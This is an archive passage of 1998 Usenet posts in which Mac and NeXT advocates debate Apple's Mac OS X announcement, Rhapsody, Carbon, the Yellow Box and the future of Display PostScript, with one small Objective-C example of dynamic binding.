features that Yellow Box apps are. Carbon apps will be 100% PPC native and
make use of 100% PPC native system services. That was not at all possible
with the Blue Box. There was still no protected memory, there was still
cooperative multitasking, and still 68k emulated system services within BB.
> I just think it is interesting the kind of spin they've put on this
> by calling it MacOS X rather than Rhapsody 2.0 and simply
> delinating the differences. Though it may be to keep the MacOS
> folks from rising up in arms ;)
You got it. That was precisely the reason.
> Frankly I can't see that Carbon is slated to go to intel, maybe but I
> highly doubt it. Why toss away all the work on YB on intel?? YB is
> far superior to what Carbon could ever be!
YB will still be in Mac OS X. There will still be an Intel YB after Mac OS
X is released. In all likelyhood, Carbon will not make it to Intel.
The real future of Mac OS programming is the Yellow Box. Current Mac OS and
even Carbon APIs are basically dead ends. Carbon and the Blue Box are there
for backwards compatibility. They are there to ease the transition. The
real developments will occur with the Yellow Box (once that becomes more
widely available).
> Think of Carbon is kind of a bootstrap to get MacOS developers back
> in the game and it will ONLY be for PPC. No-one else will want
> and or need it (nor should they) since they'll have YellowBox
> to code for which should get them everything they want.
Absolutely right.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 13 May 1998 18:10:20 GMT
Organization: P & L Systems
Message-ID: <6jcnmc$1cc$29@ironhorse.plsys.co.uk>
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk> <B17F2028-29E22@206.165.43.172>
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In <B17F2028-29E22@206.165.43.172> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> >> I'm often baffled by the obsession with DPS that NeXT developers have.
> >> It doesn't make sense for most purposes.
> >>
> >You're baffled by *our* obsession?!
> >
> >We're not obsessed. How many times do we have to repeat this?
> >It's there, it works, why break it?
> >
> >It's you who is the obsessive.
>
> Because it raises the price of Yellow Box from $0 to $20 PER UNIT on the
> Wintel side?
>
Which means we can sell our apps. If we had to wait for DPS to be rewritten,
we couldn't sell anything until then.
> Because it is very klunky in many ways and prevents Apple from modernizing
> their architecture?
>
WHAT??!! In what way?
> Where's SMP support for Rhapsody?
>
Coming. What on earth does this have to do with DPS? You've been told on
several occasions now that NEXTSTEP was running on a dual PPC system back in
'93. DPS was working fine then. Or is the famous Lawson Memory Seive(tm)
coming back into play?
> Has that been announced yet?
>
Yes.
> Is every aspect of the UI thread-safe yet?
>
Just about, yes (cf recent announcements, inc Scott's report on Stepwise).
mmalc.
Message-ID: <3559E64B.A3A9AF2@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
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Date: Wed, 13 May 1998 18:25:10 GMT
NNTP-Posting-Date: Wed, 13 May 1998 14:25:10 EDT
Pulsar wrote:
>
> Or perhaps, this was an attempt at the Worldwide Developers Conference not
> to piss off Macintosh developers by pushing too heavily something that
> would entirely obselete their software and force them to entirely rewrite
> if they wanted to gain PMT/PM/VM and such.
OK, how many "Mac OS developers" do you think will hang around until Q3
'99 to get the stuff Jobs/Apple/Amelio promised would be available in
the *general* Mac OS (which was code-named Rhapsody) in Q2 '98?
Jobs has made it crystal clear that's not going to happen. The current
Mac OS, without "PMT/PM/VM and such" is the "Crown Jewel" of Apple, not
Rhapsody, according to Apple's Eternally Interim CEO, Jobs.
>
> It sure looks like Rhapsody is dead. It sure looks like Rhapsody will flop
> and the only thing that will save it is.... Rhapsody renamed as Mac OS X.
Here's a tough question, then. If that's the simple case, why didn't
Jobs just announce Rhapsody and do the *Rhapsody road map* instead? Why
bring "Mac Os 10", to be released in almost TWO YEARS into the picture
at all?
I guess it would make sense if you interpreted the thing to mean:
"Rhapsody as a mainstream Apple OS is going to be a bit late--by about
TWO YEARS. So we've decided a name change is necessary."
Who's going to be hanging around by then?
> >
> > If Jobs was as optimistic as you are about all of these interim, baby
> > steps, why bother to announce "Mac OS 10" at this early stage, almost
> > two years before its release? Nope--this is Apple's same old same old.
>
> Because he doesn't want to further alienate Mac developers who are already
> leary of Apple due to past foolishness on its part?
Now you're on a roll....:) You don't think "here it is--in Q3 1999!" has
the slightest chance of "alienating Mac developers" some of whom have
been working their tails off trying to get set up for Rhapsody in Q3
1998? Since Rhapsody won't be replacing the Mac OS anytime soon (whether
you call it Mac OS 10 or whatever), you think this is reason for Mac
developers to stand and cheer?
> Now he has provided a
> way for these developers to retain their investment and not be forced to
> either rewrite their applications entirely for the Yellow Box or leave the
> platform entirely and go to Windows. Apple has screwed developers in the
> past, and it's trying (perhaps not very succesfully, but still trying) not
> to do it again.
I think the point is that at this point in time Jobs has provided the
developers with little aside from confusion and more yet-to-realized
pronouncements.
>
> Yes, well check what a reader said on www.macnn.com "Mac OS X will be PPC
> native and G3-optimized (not G3-only!)". Also, Apple's press release didn't
> say 'we will not support older PowerMacs'. It said 'we will support the new
> PowerMacs'. What do you think customers might ask when buying a new Mac?
> They will want to know if will run the newer OSes. Apple has given them
> thier answer.
You are certainly the only one who seems certain on this issue, "a
reader" notwithstanding. Aside from that, how many Mac users after
Copland and Rhapsody are prepared to *wait* yet again? I think Apple's
used up it's good will.
>
> Well, I think there is some small truth to what you say. The issue is that
> Rhapsody 1.0 will not meet the expectations of the average consumer. As it
> starts out it will probably not be suitable as a mainstream Mac OS
> replacement. I will use it as soon as it comes out, but I doubt that the
> majority of Mac users will. It is not that it will be buggy or slow or
> anything like that (though that may be), the problem is that its interface
> won't be polished enough, its hardware issues not entirely worked through,
> and the Blue Box/Yellow Box difference will not be adequately transparent.
Yep, that's it.
>
> This has been brewing for a while now. I think that people who saw the
> first release of Rhapsody as a mainstream Mac OS replacement were deluding
> themselves. Rhapsody will very likely grow into such a role (as seems to be
> planned with Mac OS X), but it will *not start out in such a role*.
Probably they were deluding themselves based on on what they believed
Jobs and the NeXT team could accomplish. And of course, let's not forget
the many public statements made officially by Apple which may have
spawned those delusions.
But delusional is a good word and and an apt description of what's been
happening. The RDF crumbles at last. That can't be anything but positive
for Apple.
>
> So you explain why Carbon is there. You explain why Apple is going to the
> trouble to have the YB+Carbon+BB in a single mainstream targetted OS. Is it
> because Rhasody is dead? No, Mac OS X _is_ Rhapsody.
>
> Repeate after me:
>
> Mac OS X is Rhapsody renamed.
> Mac OS X is Rhapsody renamed.
> Mac OS X is Rhapsody renamed.
> Mac OS X is Rhapsody renamed.
Of course it is--when it *gets* here, in at least 18 months...:)
Repeat after me:
It's not here yet.
It's not here yet.
Etc....:)
> >
> > Oh, come on. Ever since day one of Apple's NeXT acquisition and the
> > formulation of Rhapsody, Jobs has been backpedaling seriously. He's been
> > very vocal about the importance of the "crown jewel" Mac OS and
> > relatively silent on Rhapsody. Even now that Jobs says openly that Mac
> > OS 10 is far more important to the company than Rhapsody, some Mac users
> > continue to substitute their own person preferences for what Jobs
> > actually says. Go figure.
>
> Mac OS X _is_ Rhapsody. They are _not_ different things. Mac OS X is just
> Rhapsody renamed and extended for better backwards compatibility.
>
But Mac OS 10 is at *least* 18 months out. Let's please not confuse
projected goals with available products.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: 13 May 1998 18:21:46 GMT
Organization: MiscKit Development
Message-ID: <6jcobq$53h$1@news.xmission.com>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com> <hAk61.1$o52.30691@news.san.rr.com>
"Ed Deans." <eadeans@san.rr.com> wrote:
> Clearly, QuickDraw isn't up to the task of doing what Apple has seen is
> needed or GX wouldn't have been developed. DPS wouldn't have been kept for
> Rhapsody (at least up to this point it seems). What's changed??
The conjectures I've seen point to Adobe actively trying to kill DPS. Not
just be a pain in the *ss on licensing terms, but actively kill it. Which,
if true, means that Apple has to come up with a replacement...
> I don't have any problem with them mapping QuickDraw calls to DPS
> as part of the Carbon effort but replacing DPS outright with what?
> QuickDraw? Taligent graphics? Something new?
>
> Any ideas?
Display Ghostscript?
An in-house, rebuilt from the ground up, clone without any ties to Adobe?
Given the propensity of the ex-NeXT engineers to use GNU stuff, DGS isn't so
far-fetched; it might even be a plausible starting point for an Apple clone
of DPS. I hear the DGS has been coming along pretty nicely, after all...
Apple has said that they are keeping the "same graphics model" but it won't
be Postscript. Well, any clone of DPS that isn't from Adobe can't be called
Postscript because it is a trademarked name...but it WOULD be the same
graphics model. And as far as we developers are concerned, it would be the
same thing by another name.
Andy Stone was quoted as not being concerned about the change, and, as the
quoter put it, "if he's not concerned, then I'm not."
Apple employees keep saying to wait until the graphics session on Thursday
and then it will become clearer. We should know then if my conjecture is
right or wrong. But if Adobe was petulant on the licensing terms, I'd almost
be willing to bet that Jobs trumped them with "OK, then, we'll just make our
own. We're big enough now that we don't have to license from you anymore..."
At any rate, it is all speculation until we get the straight poop from Apple,
so I'd like to put in a motion that we suspend this thread until some facts
are available.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 12:36:15 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559DA0F.8F00D835@milestonerdl.com>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu>
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spammers@ruin.the.internet.channelu.com wrote:
> Get the message Adobe, Macromedia, etc. Start porting to YB now
> you'll be much happier in the future with 95/NT/MacOS X and possibly
> others if YB gets ported to other systems. This is something Apple
> should
> have hinted at if it's in the plans. Hell a Yellow Box for Linux or
> MkLinux
> would shake everyone up really hard. It would demonstrate a lot of
> things.
> And I also think this is the reason for MacOS X moving from DPS to X.
> So that YB can be ported to just about every unix under the sun w/o
> having to
> cough up to Adobe..
Adobe has a cross-platform product for Windows. To get them on YellowBox,
you need to offer more.
More like OpenSTEP's Solaris/HP-UX under YellowBox and a newer market of
Linux. With newer markets, Adobe might make the jump.
And Apple needs to formally commit to NT 5.x/Win98. Otherwise, Apple might
just pull a bait-n-switch
> I don't have PPC hardware but I would find it suprising that Apple
> would
> dump all the pre G3 drivers in MacOS X. It might be that they'll
> upgrade Mach
> to be fully 3.0 which might cause rewrites of some drivers. This is
> uncertian.
Jobs said one thing, press kits another. Jobs could have had a slip of the
tounge, or the listeners didn't here him say optimized.
> I would stand with you that Apple at least support the 603/604 PCI
> MAC's
> in MacOS X. If they play on giving YB on Mach for intel then there is
> no
> reason not to. Geeze that makes me wonder if YB on Mach will die also
> and we'll be stuck with YB on 95/NT with the Mach version only for PPC
> when MacOS X comes out. I hope this isn't true. The more I think
> about
> it the more I think this scenario might come about - force them to PPC
> says jobs - and we'll be the only PPC vendor. If they are even
> thinking
> of Merced though they better not dump Intel support, which might make
> it likely to support 603/604 PCI based Power Macs. It's a toss up
> here.
Or, that the only YellowBox development in the future will be MacOS
Only.They did say "YellowBox is the future of the MacOS" No public
statements on NT5/98.
> > 6. MacOS X will likely have most of it's UNIX services striped out.
> They
> > will then either sell a version of MacOS X that has them added back
> in, as a
> > server OS, or simply continue to ship Rhapsody including all the UNIX
> > services but minus Carbon and possibly the entire Blue Box as a
> server OS.
>
> I sure as heck hope not, and can't see how this could be pulled off.
> Maybe they could but they will have to offer a bundle with them in.
> This would be because the MacOS weenies bitched to hard about
> having Unix underneath. Now wouldn't it be a change if the MacOS
> folks started whining about having Unix services unbundled. It would
> serve you all right. I as a former NeXTian would miss them along
> with the shell dearly. And it would be the last straw for me probably
> unless there were suitable replacements.
So I'm not alone in wishing for Unix hooks in MacOS X, so that you can have
your POSIX with you....anyone able to get a quote on this from Apple?
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 11:29:01 -0700
Organization: Trilithon Research and Trading
Message-ID: <3559E66D.361A5D78@trilithon.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org> <3558E184.6D5B5EC1@milestonerdl.com> <slrn6lhuds.om.jason@jhste1.dyn.ml.org> <6jck6s$co7$1@interport.net> <slrn6ljp7u.3p6.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
* Example: suppose that MS was not contractually forbidden
* from selling UNIX OS products, and decided to get into
* the UNIX business.
* MS could take the 4.4BSD-Lite/2 code, modify it slightly
* to introduce incompatibilities with other flavors of BSD,
* and market it . . . .
Sounds kind of like what all the UNIX vendors have done --- the
incompatibilities bit, that is . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Message-ID: <3559E9B3.5718F3D7@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com>
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Date: Wed, 13 May 1998 18:39:28 GMT
NNTP-Posting-Date: Wed, 13 May 1998 14:39:28 EDT
John C. Randolph wrote:
>
> That may be a nice way to describe it to the MacOS paranoid conservatives,
> but the fact of the matter is that the kernal, filesystem, window system, and
> driver code all come from Rhapsody. That's not "rolling elements in", that's
> renaming an OS.
>
> MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
> Good Thing. The MacOS is way past its prime.
>
Exactly. So, logically, since the "Mac OS" is undoubtedly "way past its
prime" why *rename* "Rhapsody" to MAC OS 10?
Only in 'de land where 'de Apples fall from 'de trees and clonk us on
'de head, do 'dat make sense...:)
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Positive about Mac OS X
Date: Wed, 13 May 1998 11:28:28 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355975C0.5B3F@earthlink.net>
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I can't wait to get Rhapsody 1.0 and then Mac OS X. Many of my Mac
friends are anxious to get Rhapsdoy 1.0 as well. From talking to many
friends who are Windows '95 users, they have no desire to move to Win
'98. I wonder how this compares to the feeling of many computer users
around the world. It's an exciting time to be a Mac user. Maybe M$ is
"boring" people to death with their products?
Steve
Message-ID: <3559EA9E.3FD91406@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
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Date: Wed, 13 May 1998 18:43:23 GMT
NNTP-Posting-Date: Wed, 13 May 1998 14:43:23 EDT
spagiola@usa.net wrote:
>
> Rhapsody buggy? Wherever did you get that idea? All available evidence from
> public demos (and the admittedly cryptic comments of those under NDA) is that
> on the contrary it will be one of the most robust OSs out there.
>
> What this move is meant to forestall is not the disappointment of Rhapsody as
> _technically_ weak (which it won't be) but the disappointment of Rhapsody as
> app-deficient because of poor developer support (which it will be, despite the
> heroic efforts of former OPENSTEP developers).
Oh, yea, that was supposedly the function of BLUE BOX, wasn't it?
Ah, if only Apple could have actually *done* a competent Blue Box, the
problem of developer support would have been nil since existing
applications would have run under Rhapsody. Blue Box if you remember was
*key* to Apple's strategy when it let Jobs talk them into parting with
almost half a billion dollars to do Rhapsody in the first place. Without
Blue Box, Rhapsody itself made no sense from Apple's postion.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 18:24:16 GMT
Organization: P & L Systems
Message-ID: <6jcogg$1cc$30@ironhorse.plsys.co.uk>
References: <6jbt5d$1cc$16@ironhorse.plsys.co.uk> <B17F1B71-18255@206.165.43.172>
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Cc: english@primenet.com
In <B17F1B71-18255@206.165.43.172> "Lawson English" wrote:
> Seeing how this was presented as a structured library for non-OOP
> applications, I'd like to see how.
> What is the conceptual difference between
> "GXDrawShape(theShape)"
> and
> however the same would be implemeted in Obj-C?
>
In Obj-C theShape could be of any class, so long as it knows how to respond
to the Draw method:
Given:
GXShape *gxShape;
MyShape *myShape;
you could implement:
- (void) drawGXShape:(BOOL x)
{
id theShape;
if (x)
theShape = gxShape;
else
theShape = myShape;
[theShape draw];
}
This (aka dynamic binding) makes code more maintainable.
> The fact that the list of shape types can be extended? Try doing that using
> a structured API like MacOS toolbox calls and you'll get something like
> QD3D's extension mechanism. Er, no thanks. I'll stick with the
> non-extensible version until an OOP version is presented directly.
>
This sounds like an excellent reason for not sticking with GX.
> >Pragmatic considerations then have consigned it to the dustbin.
> >
> >GX is dead. Why not shut up about it and go and do something useful?
>
> You mean, like make sure that any school kid using a Color Mac with enough
> memory and System 7.1 or better can make use of a really nicely done
> high-end graphics library?
>
If you think there's a market for something like that, go ahead.
> The excuse given for why GX isn't included in Carbon is because no-one is
> using it.
>
Sounds good to me.
> What if every schoolkid started to use it to exchange vector-graphics
> pictures? What if professional DTP people started using it to script vector
> graphics images and then export them to EPS format?
>
> Hmmm?
>
But they're not, so that's not an issue.
> Should it still be left in the dustbin or should it be dusted off and
> integrated with Carbon and YB in some way?
>
Useful parts shoud be dusted off and integrated with Carbon and YB in some
way. Mike Paquette's been telling you for months that this is what's being
done. Why do you keep pretending you've never heard this before?
mmalc.
Message-ID: <3559EBA4.B8A2DB1A@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
<macman-1105982047570001@tr33-d21.msen.net> <3558705D.978C32E@spamtoNull.com> <6ja705$k4$4@news.idiom.com>
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Date: Wed, 13 May 1998 18:47:46 GMT
NNTP-Posting-Date: Wed, 13 May 1998 14:47:46 EDT
John C. Randolph wrote:
>
> Next didn't die, it took over Apple in one of the trickiest bits of
> organizational manuvering that I've ever seen.
On this we completely agree. I don't credit Jobs & company with it as
much as I decry the stupidity of the Apple board who authorized payment.
You are quite right to say that NeXT effectively took over Apple and
Apple *paid* them to do it. All we can hope for is that the neo-NeXT
will be far more savvy in producing products people want to buy than the
old NeXT was in doing it.
Like the "Rhapsody didn't die it just changed its name" school of
thought, NeXT didn't die it just changed its name...:)
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 13:50:13 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-1305981350130001@qburst.msfc.nasa.gov>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu> <pulsar-ya02408000R1305981317320001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1305981317320001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> In article <6jcjs4$6ns$1@msunews.cl.msu.edu>,
> spammers@ruin.the.internet.channelu.com wrote:
>
>
> The problem with the Blue Box relative to Carbon is that apps running in
> the Blue Box see exactly the same environment as they saw in the Mac OS.
> That is, they can merrily romp on each other's memory and greedily hog all
> the processor time (that is all the processor time given to the Blue Box).
>
> In short, within the Blue Box, you have exactly the same environment as you
> do with the Mac OS.
>
I don't mind the first part of this so much ... the problem with
crashes in the last few system rev's is not that they've been
"work-losing" crashes but that they've been "machine rebooting"
crashes, which is the real killer. From what I've heard, restarting
the Blue Box, while inconvenient, is nothing like restarting your
entire Mac.
The lack of PMT in the "invisible Blue Box" is more of a hassle,
but a small price to pay for seamless legacy app compatibility...
DJB
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 18:33:42 GMT
Organization: P & L Systems
Message-ID: <6jcp26$1cc$31@ironhorse.plsys.co.uk>
References: <6jbtan$1cc$17@ironhorse.plsys.co.uk> <B17F1CA8-1CB93@206.165.43.172>
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Cc: english@primenet.com
In <B17F1CA8-1CB93@206.165.43.172> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> > But in a more long-winded and resource-draining way than might have been
> > the case had Mac users and developers rallied round YellowBox and the
> > original Rhapsody plan in the furst place.
>
> How could they?
>
By learning about the API and getting stuck into development ASAP, instead of
posting reams of crap to the newsgroups whining about a dead imaging model.
> Developers never had a chance to use it for shipping products.
>
> Users never had a chance to use it at all.
>
So...?
> Blame the LARGE developers (those who are already cross-platform) for the
> failure of Rhapsody and don't blame the users at all. They never even had a
> chance to see it, letalone try it out.
>
.. I can hardly believe this. We saw, day in, day out, wails from users and
developers alike saying that they didn't want Rhapsody in this or that form.
This was hardly a rally around YellowBox. This was rejecting it a priori.
What sort of denial are you in?
> Please go to AIMED-talk and ask the various smaller developers (aside from
> those of us who are GX/OD fanatics) if they would prefer to use YB or
> Carbon for their next project? (and even for GX/OD fanatics, Carbon offers
> nothing useful, as far as I can tell).
>
> Unless they plan on supporting 68K owners, YB was far and away the winner
> for the non-"Big 100" developers.
>
So how come all we ever heard was you telling us how shoddy DPS is and how
wars would end and ailments would cease if GX were restored to its Rightful
Place?
> But the Big 100 developers already are cross-platform and really don't want
> to see YB suceed, since they're well aware of its advantages
>
No, they don't want Rhapsody to succeed before they've had a chance to get up
to speed with YB, or be able to compete as they would wish on the platform
(i.e. as instant market leaders).
mmalc.
Message-ID: <3559EE8C.82C5FB0A@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <stevehix-1205981657110001@ip21.safemail.com>
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Date: Wed, 13 May 1998 19:00:10 GMT
NNTP-Posting-Date: Wed, 13 May 1998 15:00:10 EDT
Steve Hix wrote:
>
> MacOS X is Rhapsody, with MacOS support a good deal better than the ol'
> Blue Box. It's just that it finally has a real product name.
And could it be a "final release date", too? Q3 1999?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 12:04:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F3CC4-95737@206.165.43.172>
References: <3559DE39.3148786C@spamtoNull.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jonathan Harker <Limeyville@spamtoNull.com> said:
>Michael Benedetti wrote:
>>
>> It seems that Jobs is jettisoning all the bad ideas of the previous
>regimes.
>
>
>
>In general terms, though, it's called "throwing out the baby with the
>bath water."
>
It all boils down to "whose baby?"
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <3559EF24.47442FC0@unet.univie.ac.at>
Date: Wed, 13 May 1998 21:06:12 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Apology for the above
References: <8EEF451.09B60071D7.uuout@relaynet.org> <3558DAD3.8B137708@milestonerdl.com> <3558FD30.36E96628@unet.univie.ac.at>
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I want to apologize for the inappropiate statement above.
So save your adrenalin for something else.
Christian Benesch
Christian Benesch wrote:
> Stuff MacOS!
>
> Christian Benesch...OpenStep for all!
> M Rassbach wrote:
>
> > The biggest 'problem' that I saw for Apple was that supporting OpenSTEP
> > (YellowBOX) on Intel/HP-UX/Solaris/MacOS was that Intel/HP-UX/Solaris wasn't
> > MacOS hardware.
> >
> > So MacOS will stay in it's 'protected Niche state' by not being cross-platform.
> >
> > The statement of Apple's "YellowBox is the Future of MacOS" may have truth, but
> > at the cost of cross-platform.
> >
> > SHEPPARD GORDON wrote:
> >
> > > Why is Apple not considering implementing Carbon on top of Rhapsody/Intel?
> > >
> > > To do so makes the possibility that Carbon-clean apps could be ported to
> > > Rhapsody/Intel, yes?
> > >
> > > To not do this seems to doom Rhapsody/Intel's continued viability and support
> > > (given Apple's statements that Rhapsody is a stepping stone to MacOS X), no?
> > >
> > > Could someone clear this up? Or is it possible that a clear answer is not yet
> > > forthcoming?
> > >
> > > -> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Message-ID: <3559EDF5.DF9F3847@unet.univie.ac.at>
Date: Wed, 13 May 1998 21:01:09 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <355937CD.DAD83C55@unet.univie.ac.at> <355940BD.E650E496@nstar.net>
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Somewhat inappropriate and not in the least constructive, I see that now.
Sorry for this.
Christian Benesch
Michael J. Peck wrote:
> Christian Benesch wrote:
>
> [cut]
>
> > As I said: I have no problem with rolling out an additional red carpet for MacOS
> > developers.
>
> Oh, right! Which is why you said "Stuff MacOS!" in another thread
> tonight?
>
> :-)
>
> MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 19:14:43 GMT
Organization: I don't think so
Message-ID: <slrn6ljsgv.3p6.jason@jhste1.dyn.ml.org>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org> <3558E184.6D5B5EC1@milestonerdl.com> <slrn6lhuds.om.jason@jhste1.dyn.ml.org> <6jck6s$co7$1@interport.net> <slrn6ljp7u.3p6.jason@jhste1.dyn.ml.org> <3559E66D.361A5D78@trilithon.com>
Henry McGilton posted the following to comp.sys.mac.advocacy:
> * Example: suppose that MS was not contractually forbidden
> * from selling UNIX OS products, and decided to get into
> * the UNIX business.
>
> * MS could take the 4.4BSD-Lite/2 code, modify it slightly
> * to introduce incompatibilities with other flavors of BSD,
> * and market it . . . .
>Sounds kind of like what all the UNIX vendors have done --- the
>incompatibilities bit, that is . . .
So true (although most of the vendors have moved to SysV, so the
licensing issue is not germane).
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: 13 May 1998 19:13:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ljs6u.p80.sal@panix3.panix.com>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com> <hAk61.1$o52.30691@news.san.rr.com> <6jcobq$53h$1@news.xmission.com>
On 13 May 1998 18:21:46 GMT, Don Yacktman <don@misckit.com> wrote:
>An in-house, rebuilt from the ground up, clone without any ties to Adobe?
What would they call it? Display QuickTime?
>Given the propensity of the ex-NeXT engineers to use GNU stuff, DGS isn't so
>far-fetched; it might even be a plausible starting point for an Apple clone
>of DPS. I hear the DGS has been coming along pretty nicely, after all...
It would tick off Abode.
>Apple employees keep saying to wait until the graphics session on Thursday
>and then it will become clearer. We should know then if my conjecture is
Something based on GX code?
Something based on Abode's web graphic format?
Something based on Bravo?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
